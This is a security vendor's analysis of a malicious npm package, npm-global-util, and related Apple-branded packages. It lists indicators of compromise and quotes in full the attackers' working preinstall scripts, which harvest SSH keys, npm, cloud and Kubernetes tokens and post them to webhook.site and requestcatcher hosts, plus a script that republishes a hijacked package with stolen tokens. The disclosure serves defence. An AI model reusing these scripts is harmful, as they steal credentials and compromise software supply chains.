npm-global-util: Credential Theft and Supply Chain Attack

SafeDep Team
10 min read

Table of Contents

TL;DR

npm-global-util is a malicious npm package published by raya4321 on April 29, 2026. It runs a shell script on preinstall that exfiltrates system credentials, cloud tokens, and environment secrets to attacker-controlled webhook.site endpoints. A bundled second-stage script (pwn.sh) steals npm publish tokens and uses them to inject a poisoned version of apple-app-store-server-library into the npm registry. The same maintainer account published 15 additional malicious packages under “apple-internal-*” branding, all active on the registry at time of writing.

Impact:

  • Credential exfiltration on npm install: npm tokens, SSH private keys, AWS credentials, GCP service account tokens, GitHub tokens, and environment variables
  • Supply chain escalation: if an npm publish token is found, the attacker attempts to inject a backdoored version of Apple’s apple-app-store-server-library
  • Kubernetes pivot: related packages target K8s service account tokens and cloud metadata endpoints
  • 16 malicious packages from the same maintainer account remain on the registry

Indicators of Compromise (IoC):

  • Package: npm-global-util versions 1.0.0 through 1.3.3
  • Package: agents-a365-runtime versions 1.3.5 through 1.3.8
  • Package cluster: apple-internal-*, apple-infra-*, apple-cktool-*, apple-coredata-*, apple-cloud-* by maintainer raya4321
  • Exfil endpoints: hxxps://webhook[.]site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6, hxxps://webhook[.]site/44a48e8a-8ab6-454b-b36b-a05458f90a92, hxxps://webhook[.]site/e44df9ae-8bff-478a-b1f2-514c1fcbf303, hxxps://webhook[.]site/85f78e76-dc73-4cb5-a65c-27f2c10db591, hxxps://webhook[.]site/1324ffab-98a9-4f19-8f72-4bbaad684aaf, hxxps://webhook[.]site/9a376595-d347-4110-ac32-814e6e2f0754, hxxps://franki[.]requestcatcher[.]com
  • Supply chain target: apple-app-store-server-library

Analysis

Package Overview

npm-global-util has no description, no repository, no homepage, and no author field. The maintainer is raya4321 ([email protected]), an account that published 16 packages between April 27 and April 29, 2026. The version history tells a rapid iteration story: nine versions in roughly 70 minutes, each refining the recon payload.

$ curl -s "https://registry.npmjs.org/npm-global-util" | jq '.time'
{
"created": "2026-04-29T06:45:28.959Z",
"1.0.0": "2026-04-29T06:45:29.204Z",
"1.0.9": "2026-04-29T07:07:52.967Z",
"1.1.1": "2026-04-29T07:12:15.071Z",
"1.1.4": "2026-04-29T07:18:04.188Z",
"1.1.8": "2026-04-29T07:25:25.927Z",
"1.2.0": "2026-04-29T07:29:10.904Z",
"1.3.1": "2026-04-29T07:46:36.210Z",
"1.3.2": "2026-04-29T07:50:21.898Z",
"1.3.3": "2026-04-29T07:54:43.518Z"
}

The package has no legitimate functionality. Every file in every version is either package.json or a shell script.

Execution Trigger

The preinstall lifecycle hook fires when any project runs npm install with this package as a direct or transitive dependency. No user interaction is required.

package/package.json
{
"name": "npm-global-util",
"version": "1.3.3",
"scripts": {
"preinstall": "sh ms_audit.sh"
}
}

ms_audit.sh runs synchronously before the package installs. Failure does not block installation from the victim’s perspective since most CI pipelines treat install-hook errors as non-fatal.

Stage 1: Reconnaissance and Credential Harvest

Each version of ms_audit.sh targets a different layer of the victim environment. The version history reads like an attacker iterating against live test targets:

v1.0.0: System identity and cloud metadata probing

Terminal window
# package/ms_audit.sh (v1.0.0)
export OUT=$(mktemp)
URL='https://webhook.site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6'
(
echo "--- GLOBAL PACKAGE INFILTRATION ---"
echo "Host: $(hostname) | User: $(id)"
echo -e "\n[3] Network & Location Info:"
curl -s https://ifconfig.me && echo " (Public IP)"
echo -e "\n[4] Cloud Check:"
curl -s -m 1 -I http://169.254.169.254 | grep Server || echo "Not a standard cloud metadata IP"
) > $OUT
curl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URL

v1.0.9: Sensitive file extraction (PDF, private keys)

Terminal window
# package/ms_audit.sh (v1.0.9)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
find /root/.* -maxdepth 2 -type f \( -name "*.pdf" -o -name "*.key" -o -name "*token*" \) 2>/dev/null | head -n 10
for f in $(find /root/.* -maxdepth 2 -type f \( -name "*.pdf" -o -name "*.key" \) 2>/dev/null | head -n 3); do
echo "File: $f"
base64 "$f" | head -c 200
done

v1.1.1: Full directory exfil of PDF and ZIP files

Terminal window
# package/ms_audit.sh (v1.1.1)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
find /root /home /opt /var/www -maxdepth 3 -type f \( -name "*.pdf" -o -name "*.zip" \) 2>/dev/null | while read -r FILE; do
curl -X POST -F "file=@$FILE" -F "host=$(hostname)" -F "path=$FILE" "$URL"
done
curl -X POST -d "Host $(hostname) has finished scanning for PDF/ZIP." "$URL"

v1.1.4: Keyword-based sensitive file hunt (“Global Predator Scan”)

Terminal window
# package/ms_audit.sh (v1.1.4)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
find / -maxdepth 5 -type f \( \
-iname "*secret*" -o \
-iname "*confidential*" -o \
-iname "*backup*" -o \
-iname "*password*" -o \
-iname "*finance*" -o \
-iname "*invoice*" -o \
-iname "*rahasia*" \
\) \( -name "*.pdf" -o -name "*.zip" -o -name "*.tar.gz" -o -name "*.sql" \) 2>/dev/null | head -n 20 | while read -r FILE; do
curl -X POST \
-F "file=@$FILE" \
-F "host=$(hostname)" \
-F "full_path=$FILE" \
-F "size=$(du -h "$FILE" | cut -f1)" \
"$URL"
done
curl -X POST -d "Global Predator Scan on $(hostname) finished. Check your Files tab." "$URL"

v1.1.8: Targeting a specific file by name

Terminal window
# package/ms_audit.sh (v1.1.8)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
TARGET='/root/Desktop/u6Lx.pdf'
if [ -f "$TARGET" ]; then
curl -X POST -F "file=@$TARGET" "$URL?ikan_paus_cent_os"
LINK=$(curl --upload-file "$TARGET" https://transfer.sh/u6Lx_rahasia.pdf)
curl -X POST -d "LINK DOWNLOAD: $LINK" "$URL"
fi

The hardcoded filename u6Lx.pdf and the query string ikan_paus_cent_os (Indonesian: “whale centOS”) suggest this version was written to validate access to a specific targeted machine.

v1.2.0: Database URL and cloud storage bucket discovery

Terminal window
# package/ms_audit.sh (v1.2.0)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
(
echo "[1] Searching for Database URL Patterns in Files:"
grep -rEho "https?://[a-zA-Z0-9./_-]+(sql|dump|db|backup|data)[a-zA-Z0-9./_-]+" /home /root /var/www 2>/dev/null | head -n 15
echo "[2] Checking .bash_history for wget/curl DB links:"
grep -E "wget|curl" ~/.bash_history 2>/dev/null | grep -iE "sql|zip|gz|db" | tail -n 5
echo "[3] Searching for S3/Cloud Storage Buckets:"
grep -rEho "[a-zA-Z0-9.-]+\.s3\.amazonaws\.com/[a-zA-Z0-9./_-]+" /root /home 2>/dev/null
grep -rEho "storage\.googleapis\.com/[a-zA-Z0-9./_-]+" /root /home 2>/dev/null
) > db_links.txt
curl -X POST -F "file=@db_links.txt" "$URL"

v1.3.1: Comprehensive credential harvest (final form before latest)

Terminal window
# package/ms_audit.sh (v1.3.1)
URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'
(
echo "[1] Check NPM Auth (The Holy Grail):"
cat ~/.npmrc 2>/dev/null
echo "[2] Check Cloud Credentials (GCP/AWS/Azure):"
grep -rEi "access_key|secret_key|token" ~/.config ~/.aws ~/.azure 2>/dev/null | head -n 10
echo "[3] Check SSH Keys (Full System Access):"
find ~/.ssh -type f -name "id_*" ! -name "*.pub" 2>/dev/null | while read -r KEY; do
echo "Found Key: $KEY"
cat "$KEY" | head -n 5
done
echo "[4] Environment Variables (Passwords in RAM):"
env | grep -Ei "pass|secret|token|db_|key" | head -n 10
) > final_leak.txt
curl -X POST -F "file=@final_leak.txt" "$URL"

v1.3.2: GCP identity probe and .env hunting

Terminal window
# package/ms_audit.sh (v1.3.2)
URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'
(
echo "[1] GCE Identity Info:"
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=$URL" 2>/dev/null
echo "[2] Hunting for Environment Secrets:"
find . -name ".env" -exec cat {} \; 2>/dev/null
echo "[3] Sensitive Processes:"
ps aux | grep -Ei "key|auth|secret|token" | grep -v grep
) > final_identity.txt
curl -X POST -F "file=@final_identity.txt" "$URL"

v1.3.3 (latest): Sandbox and container fingerprinting

Terminal window
# package/ms_audit.sh (v1.3.3)
URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'
(
echo "[1] Current Shell & Process Tree (Seeing the Wrapper):"
ps -ef f | head -n 20
echo "[2] Inspecting Container/Sandbox Metadata:"
ls -la /proc/1/cgroup 2>/dev/null
cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
echo "[3] Searching for Entrypoint/Startup Scripts:"
find / -maxdepth 2 -name "*entrypoint*" -o -name "*start*" -o -name "*init*" 2>/dev/null \
| xargs -I {} sh -c 'echo "FILE: {}"; cat "{}" | head -n 50; echo "---"'
echo "[4] Mount Points (Seeing the Sandbox Borders):"
mount | grep -Ei "docker|overlay|virtiofs"
) > sandbox_core.txt
curl -X POST -F "file=@sandbox_core.txt" "$URL"

The pivot from credential collection in v1.3.1 to sandbox profiling in v1.3.3 suggests the attacker shifted from opportunistic credential theft toward understanding the detection environment, likely after getting caught by automated npm security scanners.

Stage 2: Supply Chain Attack via Stolen npm Token

pwn.sh, bundled in versions 1.0.0 through 1.2.0, is the second-stage payload. It is not called by ms_audit.sh directly, which means it was either intended for execution via a different mechanism or represents in-progress attack development. The intent is clear regardless:

Terminal window
# package/pwn.sh (all versions containing it)
URL='https://webhook.site/85f78e76-dc73-4cb5-a65c-27f2c10db591'
(
BOT_TOKEN=$(env | grep -E 'NPM_TOKEN|NODE_AUTH_TOKEN|GITHUB_TOKEN|NPM_AUTH_TOKEN' | head -n 1 | cut -d= -f2)
if [ -z "$BOT_TOKEN" ]; then
BOT_TOKEN=$(grep -oE 'authToken=[^ ]+' ~/.npmrc 2>/dev/null | cut -d= -f2)
fi
if [ -n "$BOT_TOKEN" ]; then
echo "TOKEN VALID DITEMUKAN: ${BOT_TOKEN:0:7}***"
echo "//registry.npmjs.org/:_authToken=$BOT_TOKEN" > .npmrc
npm pack apple-app-store-server-library 2>/dev/null
FILE=$(ls apple-app-store-server-library-*.tgz 2>/dev/null)
if [ -n "$FILE" ]; then
mkdir -p pocalin && tar -xzf "$FILE" -C pocalin
cd pocalin/package
echo -e "\n# Proof of Concept by Frank\nAutomatically updated by internal automation using discovered credentials." >> README.md
CUR_VER=$(grep '"version":' package.json | cut -d'"' -f4)
NEXT_VER="${CUR_VER%.*}.$((${CUR_VER##*.}+1))"
sed -i "s/\"version\": \"$CUR_VER\"/\"version\": \"$NEXT_VER\"/" package.json
sed -i '/"prepack":/d; /"prepare":/d; /"build":/d' package.json
cp ../../.npmrc .
npm publish --userconfig .npmrc 2>&1
fi
fi
) > $OUT
curl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URL

If an npm auth token is found in environment variables or ~/.npmrc, the script:

  1. Downloads a fresh copy of apple-app-store-server-library (Apple’s official App Store Server API client)
  2. Appends a “Proof of Concept by Frank” string to its README
  3. Bumps the patch version
  4. Strips build and prepare scripts to avoid compilation failures
  5. Publishes the modified package using the victim’s credentials

A developer running npm install with publish rights to a legitimate package would unknowingly hand the attacker the keys to inject malicious code into that package’s registry entry.

The Broader Campaign

raya4321 published 15 additional malicious packages alongside npm-global-util, all using Apple-branded names to suggest internal tooling:

PackageHookTargetExfil Endpoint
apple-internal-telemetry-servicepostinstallSSH keys, env vars (Apple hostname check)franki.requestcatcher.com
apple-internal-pki-trustpreinstall.git-credentials, .env, Azure tokensfranki.requestcatcher.com
apple-internal-pki-trust-v5postinstallEnv vars (APPLE/AWS/GIT/SECRET)franki.requestcatcher.com
apple-cktool-api-v2postinstallCloudKit token files (~/.cloudkit)franki.requestcatcher.com
apple-pki-cert-validatorpostinstallSSH private keysfranki.requestcatcher.com
apple-internal-dev-checkpostinstallFull system scan: files, cloud, envfranki.requestcatcher.com
apple-coredata-internal-servicepostinstall~/.npmrc, AWS creds, SSHfranki.requestcatcher.com
apple-cloud-infrastructure-monitorpostinstallFull creds: env, SSH, AWS, gitwebhook.site/9a376595-...
apple-infra-network-v2preinstallDNS, ARP, internal network topologywebhook.site/1324ffab-...
apple-infra-gcp-leakpreinstallGCP metadata: project ID, zone, service account tokenwebhook.site/1324ffab-...
apple-internal-auth-v3postinstallSSH, AWS creds (Apple hostname check)franki.requestcatcher.com
agents-a365-runtimepreinstallKubernetes service account token at /var/run/secrets/kubernetes.io/serviceaccount/tokenwebhook.site/42fb16cd-...
apple-infra-ultimate-bypasspreinstallExecutes /tmp/final_payload.sh(varies)
apple-infra-final-escapepreinstallExecutes /tmp/final_sweep.sh(varies)

Three packages from the cluster deserve closer examination.

agents-a365-runtime: Kubernetes service account token theft

Terminal window
# agents-a365-runtime/package/ms_audit.sh (v1.3.8)
URL='https://webhook.site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6'
(
echo "[1] Kubernetes Service Account Token:"
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo "Token not found"
echo "[2] Kubernetes Namespace:"
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null
echo "[3] Environment Scan for K8S/API Keys:"
printenv | grep -Ei 'KUBE|SERVICE|API|PORT|PROTO'
echo "[4] Mount Points (Cek file sensitif lainnya):"
mount | grep -i 'secret'
) > $OUT
curl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URL

apple-infra-gcp-leak: GCP service account token via metadata endpoint

Terminal window
# apple-infra-gcp-leak/package/ms_audit.sh (v1.2.0)
URL='https://webhook.site/1324ffab-98a9-4f19-8f72-4bbaad684aaf'
(
echo "[1] Project ID & Zone:"
curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/project/project-id
curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/zone
echo "[2] Service Account Token (THE GOLDEN TICKET):"
curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
echo "[3] Service Account Scopes:"
curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
) > $OUT
curl -X POST --data-binary @$OUT $URL

apple-internal-telemetry-service: Apple hostname-gated exfil

Terminal window
# apple-internal-telemetry-service/package/package.json (v1.0.0)
{
"postinstall": "if hostname | grep -iq 'apple' || env | grep -iq 'apple'; then
(echo '--- SYSTEM INFO ---'; hostname; whoami; uname -a;
echo '--- ENV DATA ---'; printenv;
echo '--- SSH KEYS ---'; ls -la ~/.ssh; cat ~/.ssh/id_rsa
) > apple_data.txt 2>&1;
curl -X POST -F \"file=@apple_data.txt\" https://franki.requestcatcher.com/apple_verified_leak;
fi"
}

The grep -iq 'apple' gate means this payload only fires on machines where the hostname or environment contains the string “apple”, confirming the campaign targets Apple’s internal developer fleet or CI runners rather than arbitrary npm users.

apple-infra-ultimate-bypass: Staged detonation

// apple-infra-ultimate-bypass/package/package.json (v3.0.0)
{
"name": "apple-infra-ultimate-bypass",
"version": "3.0.0",
"scripts": {
"preinstall": "sh /tmp/final_payload.sh"
}
}

This package ships no payload of its own. It executes whatever script is already at /tmp/final_payload.sh. The same pattern applies to apple-infra-final-escape, which runs /tmp/final_sweep.sh. If multiple packages from this cluster are installed in the same environment (as transitive dependencies of a shared parent), an earlier package could write the script to /tmp and this one fires it.

Attacker Attribution Signals

All scripts contain comments in Bahasa Indonesia, including operational notes like "Mengambil token NPM yang dipakai buat publish/install paket" (“Getting the npm token used for publishing/installing packages”) and "Kunci privat SSH yang sering ditinggal di server" (“SSH private keys often left on servers”). The attacker signs the supply chain PoC with “Frank.”

The [email protected] email address and account name raya4321 appear to be purpose-created for this campaign, with no prior publish history.


Conclusion

npm-global-util combines credential harvesting with a supply chain escalation vector targeting apple-app-store-server-library. The 16-package cluster under raya4321 covers a wide attack surface: SSH keys, cloud credentials, Kubernetes tokens, GCP service accounts, and npm publish rights. The Apple-branded naming and hostname-gating indicate a targeted campaign against Apple developer environments rather than indiscriminate opportunism.

All 16 packages were on the registry as of April 29, 2026. Any npm install in an environment with Apple-themed tooling, K8s access, or CI publish tokens should be treated as a potential exposure vector until the packages are removed.

Scan your dependency graph with vet or check registry metadata via SafeDep to identify exposure from this maintainer account before an install runs.


References

  • npm
  • oss
  • malware
  • supply-chain

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

node-env-resolve: npm Package Installs a Full RAT

node-env-resolve: npm Package Installs a Full RAT

node-env-resolve is a malicious npm package that installs a full-featured remote access trojan on developer machines. The RAT streams screens, captures audio, steals browser history, and gives full...

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.